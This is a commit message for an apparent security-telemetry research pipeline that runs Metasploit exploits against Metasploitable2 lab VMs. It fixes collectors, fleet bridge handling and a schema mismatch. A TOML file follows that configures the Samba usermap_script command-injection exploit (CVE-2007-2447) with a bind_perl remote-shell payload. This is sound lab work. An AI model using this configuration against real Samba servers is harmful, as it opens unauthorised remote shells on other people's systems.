Diagnoses + fixes for the silent-collector / never-lands-session
failures that the 200-episode quality probe surfaced (§3 evidence).
All four address the producer; no compensating layers added.
perf collector (rows_perf=0 on 100% of episodes):
- perf stat -j writes to stderr by default with -p; we read stdout.
Add --log-fd 1 so JSON reaches stdout where the parser sees it.
- Event names come back annotated with the privilege scope perf
actually measured ("cycles:u" under perf_event_paranoid=2). Strip
the suffix so _build_row's plain-name lookups hit. Without this
every metric was None even when perf reported real numbers.
- tests/test_collectors_emit.py covers the regression with a real
busy-loop fixture; emit-test discipline per §4.4.
guest-agent collector (rows_guest=0 on 100% of episodes):
- Alpine cloud image doesn't ship python3, so the in-guest agent's
`#!/usr/bin/env python3` shebang silently fails. Add packages:
[python3] to cidata user-data so cloud-init installs it before
the OpenRC service starts.
- Guest agent now exits nonzero (was: silent stdout fallback) when
/dev/virtio-ports/cis490.guest.agent is missing, so OpenRC
reports the failure to /var/log/cis490-agent.log instead of the
bytes vanishing into the void. Refs §1.
- Host-side collector emits guest_agent_connected /
guest_agent_first_byte / guest_agent_silent_window into the
orchestrator's events.jsonl. Future episodes show the in-guest
failure mode per-episode instead of inferring from rows_guest=0.
k-gamingcom missing qmp/netflow/pcap (also affected elliott on
Tier-3 episodes — was misclassified as host divergence):
- tools/run_tier3_demo.py was building EpisodeConfig WITHOUT
qmp_socket / guest_agent_socket / bridge_iface — even though
launch_target.sh creates the underlying chardevs and BRIDGE
supplies the iface. tools/run_real_vm_demo.py wires them
correctly; Tier-3 had a copy-paste gap.
- tests/test_collectors_emit.py adds a source-grep regression so
the wiring stays honest.
samba_usermap_script never lands session (0/67 in §3 probe):
- Bind handler default WfsDelay (~5s) gives up before bind_perl on
Metasploitable2 has finished forking + binding LPORT under
SLIRP+hostfwd. Bump to 30s; matches session_open_timeout_s in
exploits/driver.py so framework + driver agree on the wait
budget. Add ConnectTimeout=15 so the handler's bind connect has
retry budget instead of one-shot.
orchestrator/fleet.py: usable_modules + BRIDGE handling were both
unconditional, so:
- With BRIDGE set, requires_bridge modules were still being
dropped — picker only ever returned samba_usermap_script across
every slot/episode (the test_fleet_uses_all_modules_when_bridge_set
failure on HEAD).
- env.pop("BRIDGE") fired even when BRIDGE was the operator's
explicit setup, breaking modules that need bridge mode (vsftpd
backdoor on hardcoded port 6200, distccd, etc.).
Both made conditional on bridge_set so the picker walks the full
catalog under bridge mode and SLIRP-only modules still get a
clean SLIRP env when BRIDGE is unset.
receiver/app.py: half-pregnant v2 schema state in HEAD — calling
store.ingest_stream(episode_type=..., benign_profile=...) with
kwargs the matching store.py change was in the WIP stash. Removed
v2 awareness from app.py so v1 episodes (what the producer ships
today) get accepted again. SCHEMA_VERSION default reset to 1 to
match.
229 passed, 0 failed. (HEAD had 15 failures, all linked to the
half-pregnant v2 state above.)
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
47 lines
1.7 KiB
TOML
47 lines
1.7 KiB
TOML
description = """
|
|
Samba 3.0.20 username-map command injection (CVE-2007-2447). Trigger
|
|
is a crafted username at SMB authentication; the Samba daemon shells
|
|
out via the username_map_script and runs whatever the attacker put in
|
|
the username. Standard Metasploitable2 vector. Uses a bind-perl
|
|
payload so msfrpcd can connect to the resulting shell via SLIRP
|
|
hostfwd; LPORT is fleet-assigned per slot (base 4444, +1000/slot)
|
|
to avoid collisions across concurrent episodes.
|
|
"""
|
|
|
|
[module]
|
|
type = "exploit"
|
|
path = "multi/samba/usermap_script"
|
|
|
|
[module.options]
|
|
RHOSTS = "{{ target_ip }}"
|
|
RPORT = 139
|
|
# WfsDelay = wait-for-session, the budget Metasploit's payload handler
|
|
# has to (a) verify the bind shell on the guest is up and (b) connect
|
|
# to it. Default is ~5s. On Metasploitable2 the perl bind payload
|
|
# takes longer than that to fork+bind under SLIRP+hostfwd, so the
|
|
# handler gives up before the listener is ready and no session lands.
|
|
# 30s gives bind_perl + the SLIRP forward time to settle. Matches
|
|
# session_open_timeout_s in exploits/driver.py so the driver and the
|
|
# framework agree on the wait budget. Refs PIPELINE.md §3 (0/67
|
|
# session_open finding).
|
|
WfsDelay = 30
|
|
|
|
[payload]
|
|
path = "cmd/unix/bind_perl"
|
|
|
|
[payload.options]
|
|
LPORT = 4444
|
|
# Give the handler retry budget when connecting to the bind port.
|
|
# msfrpcd's BindTcp handler retries every second up to ConnectTimeout
|
|
# until the perl listener accepts. Without this, a single failed
|
|
# connect aborts the session.
|
|
ConnectTimeout = 15
|
|
|
|
[session]
|
|
type = "shell"
|
|
|
|
[runtime]
|
|
# bind_perl opens a new guest port; fleet hostfwds it via SLIRP.
|
|
# No bridge egress needed — host connects in, not guest out.
|
|
requires_bridge = false
|
|
extra_target_ports = [4444]
|